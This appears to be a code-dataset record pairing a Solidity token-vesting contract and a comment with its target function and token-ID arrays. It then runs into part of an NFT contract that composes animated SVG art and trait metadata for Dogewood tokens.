// }
//Has not been locked yet
modifier notLocked {
require(lockedAt == 0, "lockedAt should be zero.");
_;
}
modifier locked {
require(lockedAt > 0, "lockedAt should be larger than zero.");
_;
}
//Token allocations have not been set
modifier notAllocated {
require(allocations[opentokenAddress] == 0, "Allocation should be zero.");
require(allocations[tokenmanAddress] == 0, "Allocation should be zero.");
require(allocations[marketingAddress] == 0, "Allocation should be zero.");
require(allocations[teamReserveWallet] == 0, "Allocation should be zero.");
require(allocations[communityReserveWallet] == 0, "Allocation should be zero.");
_;
}
constructor(ERC20Basic _token) public {
token = ERC20Basic(_token);
}
function addUnlockedInvestor(address investor, uint256 amt) public onlyOwner notLocked notAllocated returns (bool) {
require(investor != address(0), "Unlocked investor must not be zero.");
require(amt > 0, "Unlocked investor's amount should be larger than zero.");
require(unLockedInvestors[investor] == 0, "Unlocked investor shouldn't be added before.");
unLockedInvestorsIndices.push(investor);
unLockedInvestors[investor] = amt * (10 ** 18);
return true;
}
function addLockedInvestor(address investor, uint256 amt) public onlyOwner notLocked notAllocated returns (bool) {
require(investor != address(0), "Locked investor must not be zero.");
require(amt > 0, "Locked investor's amount should be larger than zero.");
require(lockedInvestors[investor] == 0, "Locked investor shouldn't be added before.");
lockedInvestorsIndices.push(investor);
lockedInvestors[investor] = amt * (10 ** 18);
return true;
}
function allocate() public notLocked notAllocated onlyOwner {
//Makes sure Token Contract has the exact number of tokens
require(token.balanceOf(address(this)) == totalAllocation, "Token should not be allocated yet.");
allocations[opentokenAddress] = opentokenAllocation;
allocations[tokenmanAddress] = tokenmanAllocation;
allocations[marketingAddress] = marketingAllocation;
allocations[teamReserveWallet] = teamReserveAllocation;
allocations[communityReserveWallet] = communityReserveAllocation;
emit Allocated(opentokenAddress, opentokenAllocation);
emit Allocated(tokenmanAddress, tokenmanAllocation);
emit Allocated(marketingAddress, marketingAllocation);
emit Allocated(teamReserveWallet, teamReserveAllocation);
emit Allocated(communityReserveWallet, communityReserveAllocation);
address cur;
uint arrayLength;
uint i;
arrayLength = unLockedInvestorsIndices.length;
for (i = 0; i < arrayLength; i++) {
cur = unLockedInvestorsIndices[i];
allocations[cur] = unLockedInvestors[cur];
emit Allocated(cur, unLockedInvestors[cur]);
}
arrayLength = lockedInvestorsIndices.length;
for (i = 0; i < arrayLength; i++) {
cur = lockedInvestorsIndices[i];
allocations[cur] = lockedInvestors[cur];
emit Allocated(cur, lockedInvestors[cur]);
}
// lock();
preDistribute();
}
function distribute() public notLocked onlyOwner {
lock();
}
//Lock the vault for the rest wallets
function lock() internal {
lockedAt = block.timestamp;
timeLocks[teamReserveWallet] = lockedAt.add(othersTimeLock).add(investorTimeLock);
timeLocks[communityReserveWallet] = lockedAt.add(othersTimeLock).add(investorTimeLock);
emit Locked(lockedAt);
}
//In the case locking failed, then allow the owner to reclaim the tokens on the contract.
//Recover Tokens in case incorrect amount was sent to contract.
function recoverFailedLock() external notLocked onlyOwner {
// Transfer all tokens on this contract back to the owner
require(token.transfer(owner, token.balanceOf(address(this))), "recoverFailedLock: token transfer failed!");
}
// Total number of tokens currently in the vault
function getTotalBalance() public view returns (uint256 tokensCurrentlyInVault) {
return token.balanceOf(address(this));
}
// Number of tokens that are still locked
function getLockedBalance() public view onlyReserveWallets returns (uint256 tokensLocked) {
return allocations[msg.sender].sub(claimed[msg.sender]);
}
//Distribute tokens for non-vesting reserve wallets
function preDistribute() internal {
claimTokenReserve(opentokenAddress);
claimTokenReserve(tokenmanAddress);
claimTokenReserve(marketingAddress);
}
//Claim tokens for non-vesting reserve wallets
function claimTokenReserve(address reserveWallet) internal {
// Must Only claim once
require(allocations[reserveWallet] > 0, "There should be non-zero allocation.");
require(claimed[reserveWallet] == 0, "This address should be never claimed before.");
uint256 amount = allocations[reserveWallet];
claimed[reserveWallet] = amount;
require(token.transfer(reserveWallet, amount), "Token transfer failed");
emit Distributed(reserveWallet, amount);
}
// Let the unLocked Investors to claim the token just in case
// that function distributeUnlockedInvestorsReserve failed to distribute the token
function claimUnlockedInvestorTokenReserve() public {
require(unLockedInvestors[msg.sender] > 0, "This is not an Unlocked investor.");
claimTokenReserve(msg.sender);
}
// Let the Locked Investors to claim the token just in case
// that function distributeLockedInvestorsReserve failed to distribute the token
function claimLockedInvestorTokenReserve() public locked {
require(block.timestamp.sub(lockedAt) > investorTimeLock, "Still in locking period.");
require(lockedInvestors[msg.sender] > 0, "This is not a Locked investor.");
claimTokenReserve(msg.sender);
}
//Claim tokens for unLocked Investor's reserve wallet
function distributeUnlockedInvestorsReserve() public onlyOwner {
uint arrayLength;
uint i;
arrayLength = unLockedInvestorsIndices.length;
for (i = 0; i < arrayLength; i++) {
claimTokenReserve(unLockedInvestorsIndices[i]);
}
}
//Claim tokens for Locked Investor's reserve wallet
function distributeLockedInvestorsReserve() public onlyOwner locked {
require(block.timestamp.sub(lockedAt) > investorTimeLock, "Still in locking period.");
uint arrayLength;
uint i;
arrayLength = lockedInvestorsIndices.length;
for (i = 0; i < arrayLength; i++) {
claimTokenReserve(lockedInvestorsIndices[i]);
}
}
//Claim tokens for Team and Community reserve wallet
// function claimNonInvestorReserve() public onlyNonInvestorReserve locked {
function claimNonInvestorReserve() public onlyOwner locked {
uint256 vestingStage = nonInvestorVestingStage();
//Amount of tokens the team should have at this vesting stage
uint256 totalUnlockedTeam = vestingStage.mul(allocations[teamReserveWallet]).div(othersVestingStages);
uint256 totalUnlockedComm = vestingStage.mul(allocations[communityReserveWallet]).div(othersVestingStages);
//Previously claimed tokens must be less than what is unlocked
require(claimed[teamReserveWallet] < totalUnlockedTeam, "Team's claimed tokens must be less than what is unlocked");
require(claimed[communityReserveWallet] < totalUnlockedComm, "Community's claimed tokens must be less than what is unlocked");
uint256 paymentTeam = totalUnlockedTeam.sub(claimed[teamReserveWallet]);
uint256 paymentComm = totalUnlockedComm.sub(claimed[communityReserveWallet]);
claimed[teamReserveWallet] = totalUnlockedTeam;
claimed[communityReserveWallet] = totalUnlockedComm;
require(token.transfer(teamReserveWallet, paymentTeam), "Team token transfer failed.");
require(token.transfer(communityReserveWallet, paymentComm), "Community token transfer failed.");
emit Distributed(teamReserveWallet, paymentTeam);
emit Distributed(communityReserveWallet, paymentComm);
}
//Current Vesting stage for Ankr's Team and Community
function nonInvestorVestingStage() public view returns(uint256){
// Every month
uint256 vestingMonths = othersTimeLock.div(othersVestingStages);
uint256 stage = (block.timestamp.sub(lockedAt).sub(investorTimeLock)).div(vestingMonths);
//Ensures Team and Community vesting stage doesn't go past othersVestingStages
if(stage > othersVestingStages){
stage = othersVestingStages;
}
return stage;
}
} | Let the unLocked Investors to claim the token just in case that function distributeUnlockedInvestorsReserve failed to distribute the token | function claimUnlockedInvestorTokenReserve() public {
require(unLockedInvestors[msg.sender] > 0, "This is not an Unlocked investor.");
claimTokenReserve(msg.sender);
}
| 12,726,219 | [
1,
24181,
326,
640,
8966,
5454,
395,
1383,
358,
7516,
326,
1147,
2537,
316,
648,
716,
445,
25722,
7087,
329,
3605,
395,
1383,
607,
6527,
2535,
358,
25722,
326,
1147,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
7516,
7087,
329,
3605,
395,
280,
1345,
607,
6527,
1435,
1071,
288,
203,
3639,
2583,
12,
318,
8966,
3605,
395,
1383,
63,
3576,
18,
15330,
65,
405,
374,
16,
315,
2503,
353,
486,
392,
3967,
329,
2198,
395,
280,
1199,
1769,
203,
3639,
7516,
1345,
607,
6527,
12,
3576,
18,
15330,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
*Submitted for verification at Etherscan.io on 2022-02-01
*/
pragma solidity 0.8.7;
// SPDX-License-Identifier: MIT
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
interface ITraits {
function tokenURI(uint256 tokenId) external view returns (string memory);
}
interface IDogewood {
// struct to store each token's traits
struct Doge2 {
uint8 head;
uint8 breed;
uint8 color;
uint8 class;
uint8 armor;
uint8 offhand;
uint8 mainhand;
uint16 level;
uint16 breedRerollCount;
uint16 classRerollCount;
}
function getTokenTraits(uint256 tokenId) external view returns (Doge2 memory);
function getGenesisSupply() external view returns (uint256);
function pull(address owner, uint256[] calldata ids) external;
function manuallyAdjustDoge(uint256 id, uint8 head, uint8 breed, uint8 color, uint8 class, uint8 armor, uint8 offhand, uint8 mainhand, uint16 level) external;
function transfer(address to, uint256 tokenId) external;
// function doges(uint256 id) external view returns(uint8 head, uint8 breed, uint8 color, uint8 class, uint8 armor, uint8 offhand, uint8 mainhand, uint16 level);
}
// interface DogeLike {
// function pull(address owner, uint256[] calldata ids) external;
// function manuallyAdjustDoge(uint256 id, uint8 head, uint8 breed, uint8 color, uint8 class, uint8 armor, uint8 offhand, uint8 mainhand, uint16 level) external;
// function transfer(address to, uint256 tokenId) external;
// function doges(uint256 id) external view returns(uint8 head, uint8 breed, uint8 color, uint8 class, uint8 armor, uint8 offhand, uint8 mainhand, uint16 level);
// }
interface PortalLike {
function sendMessage(bytes calldata message_) external;
}
interface CastleLike {
function pullCallback(address owner, uint256[] calldata ids) external;
}
// interface DogewoodLike {
// function ownerOf(uint256 id) external view returns (address owner_);
// function activities(uint256 id) external view returns (address owner, uint88 timestamp, uint8 action);
// function doges(uint256 dogeId) external view returns (uint8 head, uint8 breed, uint8 color, uint8 class, uint8 armor, uint8 offhand, uint8 mainhand, uint16 level);
// }
interface ERC20Like {
function balanceOf(address from) external view returns(uint256 balance);
function burn(address from, uint256 amount) external;
function mint(address from, uint256 amount) external;
function transfer(address to, uint256 amount) external;
}
interface ERC1155Like {
function mint(address to, uint256 id, uint256 amount) external;
function burn(address from, uint256 id, uint256 amount) external;
}
interface ERC721Like {
function transferFrom(address from, address to, uint256 id) external;
function transfer(address to, uint256 id) external;
function ownerOf(uint256 id) external returns (address owner);
function mint(address to, uint256 tokenid) external;
}
// import "../lib/openzeppelin-contracts/contracts/access/Ownable.sol";
// import "@openzeppelin/contracts/access/Ownable.sol";
contract Traits is ITraits {
using Strings for uint256;
address implementation_;
address public admin;
mapping (uint8=>string) public traitTypes;
// storage of each traits name
// trait1 => [name1, name2, ...]
mapping(uint8 => mapping(uint8 => string)) public traitNames;
// trait1 => id1 => trait2 => id2 => address
// ex:
// breed => 0 => head => 0 => breedHeas
// class => {armor | offhand | mainhand} => value => address
mapping(uint8 => mapping(uint8 => mapping(uint8 => mapping(uint8 => address)))) public traitSvgs;
IDogewood public dogewood;
string internal constant TABLE = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
function initialize() external onlyOwner {
require(msg.sender == admin);
string[8] memory traitTypes_ = ['head', 'breed', 'color', 'class', 'armor', 'offhand', 'mainhand', 'level'];
for (uint8 i = 0; i < traitTypes_.length; i++) {
traitTypes[i] = traitTypes_[i];
}
// head
string[9] memory heads = ["Determined", "High", "Happy", "Determined Tongue", "High Tongue", "Happy Tongue", "Determined Open", "High Open", "Happy Open"];
for (uint8 i = 0; i < heads.length; i++) {
traitNames[0][i] = heads[i];
}
// bread
string[8] memory breads = ["Shiba", "Pug", "Corgi", "Labrador", "Dachshund", "Poodle", "Pitbull", "Bulldog"];
for (uint8 i = 0; i < breads.length; i++) {
traitNames[1][i] = breads[i];
}
// color
string[6] memory colors = ["Palette 1", "Palette 2", "Palette 3", "Palette 4", "Palette 5", "Palette 6"];
for (uint8 i = 0; i < colors.length; i++) {
traitNames[2][i] = colors[i];
}
// class
string[8] memory classes = ["Warrior", "Rogue", "Mage", "Hunter", "Cleric", "Bard", "Merchant", "Forager"];
for (uint8 i = 0; i < classes.length; i++) {
traitNames[3][i] = classes[i];
}
}
modifier onlyOwner() {
require(msg.sender == admin);
_;
}
/** ADMIN */
function setDogewood(address _dogewood) external onlyOwner {
dogewood = IDogewood(_dogewood);
}
function setTraitTypes(uint8 id, string memory value) external onlyOwner {
traitTypes[id] = value;
}
/**
* administrative to upload the names associated with each trait
*/
function uploadTraitNames(uint8 trait, uint8[] calldata traitIds, string[] calldata names) external onlyOwner {
require(traitIds.length == names.length, "Mismatched inputs");
for (uint256 index = 0; index < traitIds.length; index++) {
traitNames[trait][traitIds[index]] = names[index];
}
}
function uploadTraitSvgs(uint8 trait1, uint8 id1, uint8 trait2, uint8[] calldata trait2Ids, address source) external onlyOwner {
for (uint256 index = 0; index < trait2Ids.length; index++) {
traitSvgs[trait1][id1][trait2][trait2Ids[index]] = source;
}
}
/*///////////////////////////////////////////////////////////////
INTERNAL FUNCTIONS
//////////////////////////////////////////////////////////////*/
function call(address source, bytes memory sig) internal view returns (string memory svg) {
(bool succ, bytes memory ret) = source.staticcall(sig);
require(succ, "failed to get data");
svg = abi.decode(ret, (string));
}
function getSvg(uint8 trait1, uint8 id1, uint8 trait2, uint8 id2) internal view returns (string memory data_) {
address source = traitSvgs[trait1][id1][trait2][id2];
data_ = call(source, getData(trait1, id1, trait2, id2));
}
function getData(uint8 trait1, uint8 id1, uint8 trait2, uint8 id2) internal view returns (bytes memory data) {
string memory s = string(abi.encodePacked(
traitTypes[trait1],toString(id1),
traitTypes[trait2],toString(id2),
"()"
));
return abi.encodeWithSignature(s, "");
}
/**
* generates an entire SVG by composing multiple <image> elements of PNGs
* @param tokenId the ID of the token to generate an SVG for
* @return a valid SVG of the Sheep / Wolf
*/
function drawSVG(uint256 tokenId) public view returns (string memory) {
IDogewood.Doge2 memory s = dogewood.getTokenTraits(tokenId);
return string(abi.encodePacked(
string(abi.encodePacked(
'<svg id="doge" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 64 64" shape-rendering="geometricPrecision" text-rendering="geometricPrecision"><style>',
getSvg(1, s.breed, 2, s.color) // breed -> color
)),
'.to {fill: #E2B0D0;};<![CDATA[#llu_to {animation: llu_to__to 1970ms linear infinite normal forwards}@keyframes llu_to__to {0% {transform: translate(38.445px, 50.11px);animation-timing-function: cubic-bezier(0.42, 0, 0.58, 1)}50.761421% {transform: translate(38.445px, 49.11px);animation-timing-function: cubic-bezier(0.42, 0, 0.58, 1)}100% {transform: translate(38.445px, 50.08px)}}#llu_tr {animation: llu_tr__tr 1970ms linear infinite normal forwards}@keyframes llu_tr__tr {0% {transform: rotate(0deg);animation-timing-function: cubic-bezier(0.42, 0, 0.58, 1)}50.761421% {transform: rotate(9.852042deg);animation-timing-function: cubic-bezier(0.42, 0, 0.58, 1)}100% {transform: rotate(0.295561deg)}}#lll_tr {animation: lll_tr__tr 1970ms linear infinite normal forwards}@keyframes lll_tr__tr {0% {transform: translate(40.570847px, 59.34803px) rotate(0deg);animation-timing-function: cubic-bezier(0.42, 0, 0.58, 1)}50.761421% {transform: translate(40.570847px, 59.34803px) rotate(-6.706667deg);animation-timing-function: cubic-bezier(0.42, 0, 0.58, 1)}100% {transform: translate(40.570847px, 59.34803px) rotate(0deg)}}#lau_to {animation: lau_to__to 1970ms linear infinite normal forwards}@keyframes lau_to__to {0% {transform: translate(40.09px, 36.61px)}10.152284% {transform: translate(40.09px, 36.61px);animation-timing-function: cubic-bezier(0.42, 0, 0.58, 1)}50.761421% {transform: translate(40.09px, 35.724449px);animation-timing-function: cubic-bezier(0.42, 0, 0.58, 1)}100% {transform: translate(40.09px, 36.583433px)}}#lal_to {animation: lal_to__to 1970ms linear infinite normal forwards}@keyframes lal_to__to {0% {transform: translate(44.64px, 42.14px)}10.152284% {transform: translate(44.64px, 42.14px);animation-timing-function: cubic-bezier(0.42, 0, 0.58, 1)}50.761421% {transform: translate(44.64px, 41.30px);animation-timing-function: cubic-bezier(0.42, 0, 0.58, 1)}100% {transform: translate(44.64px, 42.12px)}}#lhg_to {animation: lhg_to__to 1970ms linear infinite normal forwards}@keyframes lhg_to__to {0% {transform: translate(51.932867px, 41.61px)}10.152284% {transform: translate(51.932867px, 41.61px);animation-timing-function: cubic-bezier(0.42, 0, 0.58, 1)}50.761421% {transform: translate(51.932867px, 40.61px);animation-timing-function: cubic-bezier(0.42, 0, 0.58, 1)}100% {transform: translate(51.932867px, 41.58px)}}#rlu_to {animation: rlu_to__to 1970ms linear infinite normal forwards}@keyframes rlu_to__to {0% {transform: translate(29.8px, 49px);animation-timing-function: cubic-bezier(0.42, 0, 0.58, 1)}50.761421% {transform: translate(29.727549px, 47.98px);animation-timing-function: cubic-bezier(0.42, 0, 0.58, 1)}100% {transform: translate(29.797826px, 48.97px)}}#rll_tr {animation: rll_tr__tr 1970ms linear infinite normal forwards}@keyframes rll_tr__tr {0% {transform: translate(21.539296px, 59.4px) rotate(7.41deg);animation-timing-function: cubic-bezier(0.42, 0, 0.58, 1)}50.761421% {transform: translate(21.539296px, 59.397946px) rotate(0.899323deg);animation-timing-function: cubic-bezier(0.42, 0, 0.58, 1)}100% {transform: translate(21.539296px, 59.397946px) rotate(7.824398deg)}}#b_to {animation: b_to__to 1970ms linear infinite normal forwards}@keyframes b_to__to {0% {transform: translate(32.42684px, 42.24346px);animation-timing-function: cubic-bezier(0.42, 0, 0.58, 1)}50.761421% {transform: translate(32.42684px, 41.24346px);animation-timing-function: cubic-bezier(0.42, 0, 0.58, 1)}100% {transform: translate(32.42684px, 42.21346px)}}#h_to {animation: h_to__to 1970ms linear infinite normal forwards}@keyframes h_to__to {0% {transform: translate(34.27015px, 25.573563px)}5.076142% {transform: translate(34.27015px, 25.573563px);animation-timing-function: cubic-bezier(0.42, 0, 0.58, 1)}50.761421% {transform: translate(34.27015px, 24.573563px);animation-timing-function: cubic-bezier(0.42, 0, 0.58, 1)}100% {transform: translate(34.27015px, 25.543563px)}}#rau_to {animation: rau_to__to 1970ms linear infinite normal forwards}@keyframes rau_to__to {0% {transform: translate(25.071545px, 35.88px)}10.152284% {transform: translate(25.071545px, 35.88px);animation-timing-function: cubic-bezier(0.42, 0, 0.58, 1)}50.761421% {transform: translate(25.071545px, 34.88px);animation-timing-function: cubic-bezier(0.42, 0, 0.58, 1)}100% {transform: translate(25.071545px, 35.85px)}}#ral_to {animation: ral_to__to 1970ms linear infinite normal forwards}@keyframes ral_to__to {0% {transform: translate(21.75px, 39.476864px)}10.152284% {transform: translate(21.75px, 39.476864px);animation-timing-function: cubic-bezier(0.42, 0, 0.58, 1)}50.761421% {transform: translate(21.75px, 38.476864px);animation-timing-function: cubic-bezier(0.42, 0, 0.58, 1)}100% {transform: translate(21.75px, 39.446864px)}}#rhg_to {animation: rhg_to__to 1970ms linear infinite normal forwards}@keyframes rhg_to__to {0% {transform: translate(16.48px, 26.210001px)}20.304569% {transform: translate(16.48px, 26.210001px);animation-timing-function: cubic-bezier(0.42, 0, 0.58, 1)}60.913706% {transform: translate(16.48px, 25.210001px);animation-timing-function: cubic-bezier(0.42, 0, 0.58, 1)}100% {transform: translate(16.48px, 26.172501px)}}]]></style><g id="llu_to" transform="translate(38.445,50.11)"><g id="llu_tr" transform="rotate(0)"><path id="llu" class="p st" d="M39,54.08C48.21,59.71,47.38,49.2,38.85,47.08C35.57,46.22,32.87,50.33,39,54.08Z" transform="translate(-38.444998,-50.11)"/></g></g><g id="lll_tr" transform="translate(40.570847,59.34803) rotate(0)"><path id="lll" d="M40.67,54.6C40.67,54.6,38.22,55.6,38.76,56.02C39.019118,56.1171,39.293294,56.167874,39.57,56.17C39.846706,56.172126,37.48,57.85,39.5,57.85C38.5,59.75,39.33,60.29,40.5,60.14C42.88,59.85,47.35,54.94,45.34,53.35" transform="translate(-40.570846,-59.34803)" class= "p st" /></g><g id="lau_to" transform="translate(40.09,36.61)"><path id="lau" d="M39.58,34.55C41,32.99,43.94,34.55,44.05,37.89C54,50.78,31.36,41.73,39.58,34.55Z" transform="translate(-40.089999,-36.692566)" class="p st" /></g><g id="lal_to" transform="translate(44.64,42.141064)"><path id="lal" d="M44.45,40.41C48.84,37.86,55.52,44.57,45.22,44.5C45.22,44.5,45.03,45.5,44.49,44.74C44.22,44.98,43.29,46.3,43.49,43.81" transform="translate(-44.64,-42.141054)" class= "p st" /></g><g id="lhg_to" transform="translate(51.932867,41.613806)"><g id="lhg" transform="translate(-51.932867,-41.613805)"><g id="lh"><path class="p st" d="M53.72,40.94C53.72,40.94,54.19,42.8,53.06,42.82C53.74,44.82,48.95,43.66,50.46,42.27C50.310545,41.770875,50.383427,41.231554,50.66,40.79C48.89,38.05,55,38.77,53.72,40.94Z" fill="rgb(250,146,35)"/><path class="p st" d="M50.38,43.33C50.38,43.33,50.15,43.56,49.03,43.1M50.18,41.72C50.5,41.62,50.42,40.56,50.42,40.56C52.19,42.44,51.55,38.78,50.42,39.07C49.957689,39.069969,49.514599,39.254979,49.18958,39.583756C48.864561,39.912532,48.684655,40.35772,48.69,40.82" fill="rgb(250,146,35)" /></g><g id="oh">',
string(abi.encodePacked(
getSvg(3, s.class, 5, s.offhand), // class -> offhand
string(abi.encodePacked(
'</g></g></g><g id="rlu_to" transform="translate(29.8,49)"><path id="rlu" d="M26.16,47.51C17.88,57,27,58.28,32.3,51.18" transform="rotate(-16.630564) translate(-29.8,-49.07425)" class= "p st" /></g><g id="rll_tr" transform="translate(21.539296,59.397946) rotate(7.415168)"><path id="rll" d="M23,53.26C23,53.26,20,54,21.35,55C20.07,55.79,20.19,56.46,21.24,56.32C18.09,63.32,24.24,59.17,26.69,56.56C28.03,55.13,28.07,54.78,28.07,54.78" transform="translate(-21.059999,-59.397931)" class= "p st" /></g><g id="b_to" transform="translate(32.42684,42.24346)"><g id="b" transform="translate(-32.42684,-42.243459)"><path id="t" d="M23.47,36.09C22.57,40.9,25.15,39.94,26.03,47.91C26.63,53.36,41,56.43,40.5,43C40.36,39.33,42.2,35.12,39.8,33.36C36.57,31,24.94,28.27,23.47,36.09Z" class= "p st" /></g></g> <g id="rau_to" transform="translate(25.071545,35.88)"><path id="rau" d="M26,33.76C26,33.76,21.84,31.92,20.7,36.82C20.7,36.82,17.2,41.48,21.7,41.49C26.05,41.49,26.03,40.15,27.32,40.25" transform="translate(-25.07154,-35.756237)" class= "p st" /></g><g id="b_to" transform="translate(32.42684,42.24346)"><g id="b" transform="translate(-32.42684,-42.243459)">',
getSvg(3, s.class, 4, s.armor))), // class -> armor
string(abi.encodePacked(
'</g></g><g id="h_to" transform="translate(34.27015,25.573563)"><g id="h" transform="translate(-34.27015,-25.573563)">',
getSvg(1, s.breed, 0, s.head), // breed -> head
'</g></g><g id="ral_to" transform="translate(21.75,39.476864)"><path id="ral" d="M22.54,37.73C21.91,36.65,19.54,35.95,17.48,38.42C13.89,42.8,23,43,23.3,40.67" transform="translate(-21.749999,-39.476864)" class= "p st" /></g><g id="rhg_to" transform="translate(16.48,26.210001)"><g id="rhg" transform="translate(-16.48,-26.210001)"><g id="mh">')),
string(abi.encodePacked(
getSvg(3, s.class, 6, s.mainhand), // class -> mainhand
'</g><g id="rh"><path id="25" d="M18.08,37.23C22.13,35.44,21.08,41.16,19.59,41.16C18.1,41.16,17.51,37.49,18.08,37.23Z" class= "p st" /><path id="13" d="M18.67,38.69C20.56,39.14,19.04,40.86,19.04,40.86C21.63,43.17,13.04,44.51,14.3,41.67C12.24,41.67,13.08,38.92,13.08,38.92C11.52,35.33,21.48,36,18.67,38.69ZM15.67,41.35C16.55443,41.435012,17.446858,41.370784,18.31,41.16M17.62,38.74C16.866986,38.594273,16.093014,38.594273,15.34,38.74" class= "p st" /></g></g></g><path id="rf" d="M22.920306,59.141614Q24.375075,57.999107,24.899612,59.141614Q26.13429,57.617253,26.488256,60.345399Q23.097414,60.768964,21.257409,60.174476" transform="matrix(1 0 0 1 -0.10429 -0.116147)" class= "p st" /><path id="lf" d="M23.380676,59.141614Q25.065606,57.999107,25.590143,59.141614Q26.824821,57.617253,26.488256,60.345399Q23.097414,60.768964,21.257409,60.174476" transform="matrix(1 0 0 1 18.164491 -0.116147)" class= "p st" /></svg>'
))
))
));
}
/**
* generates an attribute for the attributes array in the ERC721 metadata standard
* @param traitType the trait type to reference as the metadata key
* @param value the token's trait associated with the key
* @return a JSON dictionary for the single attribute
*/
function attributeForTypeAndValue(string memory traitType, string memory value) internal pure returns (string memory) {
return string(abi.encodePacked(
'{"trait_type":"',
traitType,
'","value":"',
value,
'"}'
));
}
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* generates an array composed of all the individual traits and values
* @param tokenId the ID of the token to compose the metadata for
* @return a JSON array of all of the attributes for given token ID
*/
function compileAttributes(uint256 tokenId) public view returns (string memory) {
IDogewood.Doge2 memory s = dogewood.getTokenTraits(tokenId);
string memory traits1 = string(abi.encodePacked(
attributeForTypeAndValue(traitTypes[0], traitNames[0][s.head]),',',
attributeForTypeAndValue(traitTypes[1], traitNames[1][s.breed]),',',
attributeForTypeAndValue(traitTypes[2], traitNames[2][s.color]),',',
attributeForTypeAndValue(traitTypes[3], traitNames[3][s.class]),','
));
string memory traits2 = string(abi.encodePacked(
